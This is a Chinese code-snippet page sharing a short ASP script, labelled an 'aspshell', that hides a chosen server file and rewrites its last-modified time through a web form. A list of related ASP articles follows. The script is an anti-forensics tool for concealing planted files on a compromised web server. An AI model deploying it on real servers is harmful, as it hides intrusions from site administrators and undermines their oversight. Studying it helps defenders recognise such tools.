asp 隱藏并修改文件的最后修改時(shí)間

源碼:
<%
'隱藏并修改文件的最后修改時(shí)間的aspshell
'原理:通過(guò)FSO可以修改文件的屬性,比如設(shè)置為只讀,隱藏,系統(tǒng)等等;FSO中的attributes屬性修改文件屬性,1只讀,2隱藏,4系統(tǒng)文件
' 通過(guò)shell.application可以給文件重新設(shè)置一個(gè)最后修改時(shí)間
'2009/02/24 write by skyfire
response.write "<form method=post>"
response.write "路 徑:<input name=path value='"&server.mappath("/")&"' size='30'>(一定要以\結(jié)尾)<br />"
response.write "文件名稱(chēng):<input name=filename value='test.txt' size='30'><br />"
response.write "修改時(shí)間:<input name=time value='12/30/2099 12:30:30' size='30'><br />"
response.write "<input type=submit value=修改并隱藏文件>"
response.write "</form>"
'獲取提交的參數(shù)
set path=request.Form("path")
set fileName=request.Form("filename")
set newTime=request.Form("time")
if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then
'通過(guò)fso設(shè)置文件屬性
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set file=fso.getFile(path&fileName)
file.attributes=2+4 '設(shè)置文件屬性為隱藏+系統(tǒng)
'通過(guò)shell.Application修改文件的最后修改時(shí)間
Set shell=Server.CreateObject("Shell.Application")
Set app_path=shell.NameSpace(server.mappath("."))
Set app_file=app_path.ParseName(fileName)
app_file.Modifydate=newTime
end if
%>
相關(guān)文章
asp取動(dòng)態(tài)表單中數(shù)據(jù)并寫(xiě)入xml文件,用xsl顯示
asp取動(dòng)態(tài)表單中數(shù)據(jù)并寫(xiě)入xml文件,用xsl顯示...2006-09-09
asp中將有雙引號(hào)標(biāo)題入庫(kù)的方法
asp中將有雙引號(hào)標(biāo)題入庫(kù)的方法,需要的朋友可以參考下2012-10-10
如何從數(shù)據(jù)庫(kù)中隨機(jī)取出10條記錄的方法
如何從數(shù)據(jù)庫(kù)中隨機(jī)取出10條記錄的方法...2007-01-01
CreateKeyWord asp實(shí)現(xiàn)的由給定的字符串生成關(guān)鍵字的代碼
CreateKeyWord asp實(shí)現(xiàn)的由給定的字符串生成關(guān)鍵字的代碼...2007-09-09
使用innerHTML時(shí)注意處理空格和回車(chē)符(asp后臺(tái)處理)
innerHTML中如果包含空格和回車(chē)都會(huì)被認(rèn)為是段落的結(jié)束,造成程序運(yùn)行出錯(cuò),解決辦法,輸出的時(shí)候?qū)⒖崭窈突剀?chē)替換掉,方便js調(diào)用。2011-08-08
關(guān)于A(yíng)SP循環(huán)表格的問(wèn)題之解答[比較詳細(xì)]
在很多時(shí)候,我們采用原始的方法來(lái)解決一行內(nèi)循環(huán)3張圖片,如果上傳者只上傳了2張圖片,那么2張圖片間的距離會(huì)很大,因?yàn)槿鄙倭艘粋€(gè)<td> </td>.2008-11-11
用ASP+DLL實(shí)現(xiàn)WEB方式修改服務(wù)器時(shí)間
用ASP+DLL實(shí)現(xiàn)WEB方式修改服務(wù)器時(shí)間...2006-09-09
asp中用insert into語(yǔ)句向數(shù)據(jù)庫(kù)插入記錄(添加信息)的方法
asp中用insert into語(yǔ)句向數(shù)據(jù)庫(kù)插入記錄信息的方法,學(xué)習(xí)的朋友可以參考下。2010-09-09
做了CDN加速的ASP網(wǎng)站獲取用戶(hù)真實(shí)IP程序
寫(xiě)了下asp取真實(shí)IP的代碼,搭環(huán)境測(cè)試無(wú)代理、一級(jí)或多級(jí)代理的情況,可以正常獲取2010-11-11

